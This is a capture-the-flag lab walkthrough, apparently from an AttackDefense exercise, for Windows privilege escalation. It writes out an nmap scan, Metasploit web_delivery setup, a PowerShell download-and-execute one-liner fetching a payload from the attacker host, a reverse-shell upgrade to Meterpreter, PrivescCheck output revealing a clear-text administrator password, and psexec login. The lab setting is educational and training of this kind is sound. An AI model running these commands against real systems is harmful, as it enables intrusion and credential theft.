🔬Windows Privilege Escalation

🔬 Windows: PrivescCheck

• Target IP: 10.2.29.53

• Usage of the PrivescCheck.ps1 script

  • already present on the Victim Machine

Enumeration & Exploitation

nmap -sV 10.2.29.53
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    445/tcp  open  microsoft-ds?

service postgresql start && msfconsole -q

setg RHOSTS 10.2.29.53
setg RHOST 10.2.29.53

search web_delivery
use exploit/multi/script/web_delivery
info
# Description:
#   This module quickly fires up a web server that serves a payload. The 
#   provided command which will allow for a payload to download and 
#   execute.
set target PSH\ (Binary)
set payload windows/shell/reverse_tcp
set PSH-EncodedCommand false
set LHOST eth1
exploit

• Copy the PowerShell code and run it on the target machine using cmd

powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z="echo ($env:temp+'\P4MPrq7y.exe')"; (new-object System.Net.WebClient).DownloadFile('http://10.10.24.2:8080/y3MMtnMlRkQ81pA', $z); invoke-item $z

• Back to the Attacker machine, Command shell session opened

sessions 1
whoami
# Unprivileged user "student"

Cmd Shell

# Upgrade to a Meterpreter session
background
search shell_to
use post/multi/manage/shell_to_meterpreter
set LHOST eth1
set SESSION 1
show advanced
set WIN_TRANSFER VBS
options
# check the LPORT is not in conflict with the Session 1
run
sessions 2

ps
migrate 5048
get privs
    SeChangeNotifyPrivilege
    SeIncreaseWorkingSetPrivilege

Privilege Escalation

cd C:\\Users\\student\\Desktop\\PrivescCheck
shell
dir

• Run PrivescCheck

# Basic mode
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

# Extended Mode + Export Txt Report
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_%COMPUTERNAME%"

exit
meterpreter > download PrivescCheck_ATTACKDEFENSE.txt

root@attackdefense:~# featherpad PrivescCheck_ATTACKDEFENSE.txt

PrivescCheck Report

WinLogon clear-text password

📌 administrator:hello_123321

Administrator Login

• Use the administrator user to run a privileged cmd, trying SMB legitimate authentication

psexec.py [email protected] cmd.exe

cd C:\Users\Administrator\Desktop
dir
type flag.txt

• This can be done with the exploit/windows/smb/psexec Metasploit module too.

Reveal Flag: 🚩

2b070a650a92129c2462deae7707b0c5

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